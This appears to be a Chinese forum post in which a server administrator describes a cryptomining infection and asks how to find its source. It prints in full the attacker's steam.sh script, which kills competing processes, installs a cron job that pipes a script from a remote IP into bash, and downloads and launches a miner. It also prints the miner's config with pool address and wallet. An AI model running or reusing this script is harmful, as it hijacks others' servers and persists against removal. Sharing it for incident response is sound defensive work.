技术解析
下午突然收到报警,服务器 cpu load 值很高,登录服务器查看,发现被搞了。
top
里边发现一个叫 pubg
的进程一直占用 98%左右的 cpu 使用率,使用 lsof
查看进程打开的文件,找到了程序所在,强制杀掉进程,删除 pubg
文件,发现过一会进程自动启动了,猜测应该是有计划任务。
检查计划任务,发现果然有一条规则,每分钟都会从一个 ip 地址下载一个叫 steam.sh
的脚本并且执行,查找 ip
地址所属地,发现位于台湾。
清理计划任务,杀掉 pubg
进程,发现过一会计划任务和进程有全部恢复了,采用 sysdig
检查所有用户行为,没看到有用户进行奇怪的操作,检查不到是什么操作修改计划任务和恢复了 pubg
进程。
最后,停止 crond
进程,杀掉 pubg
进程,发现 pubg
进程没有再次恢复,暂时解决了问题。
想问一下大伙,有什么其他的办法能检查出这个攻击的根源在那里。
谢谢大伙
steam.sh
内容如下:
#!/bin/sh
/bin/cat /dev/null > /mnt/etc/crontab
ps -fe|grep pubg |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
kill -9 `ps -eo pcpu,pid,cmd | sort -k1 -r | awk '{if($1>60)print$2}'`
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "jaav"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "snapd"|awk '{print $2}'|xargs kill -9
crontab -r || true && \
echo "* * * * * /usr/bin/curl -s http://35.194.156.203/steam.sh | /bin/bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/config.json http://35.194.156.203/config_1.json
curl -o /var/tmp/pubg http://35.194.156.203/gcc
chmod 777 /var/tmp/pubg
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
nohup ./pubg -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep pubg |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://35.194.156.203/config_1.json
curl -o /var/tmp/pubg http://35.194.156.203/gcc
chmod 777 /var/tmp/pubg
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
nohup ./pubg -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."%
config.json
内容如下:
{
"algo": "cryptonight",
"av": 0,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 0,
"log-file": null,
"max-cpu-usage": 90,
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"syslog": false,
"threads": null,
"pools": [
{
"url": "stratum+tcp://get.bi-chi.com:5555",
"user": "44R6cfEH1wM6HHKGa3jK3UHBadhGS9VmDfVCzo33ZUw1GB46TSUqtiqWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3xGNuHx",
"pass": "x",
"keepalive": false,
"nicehash": false
}
]
}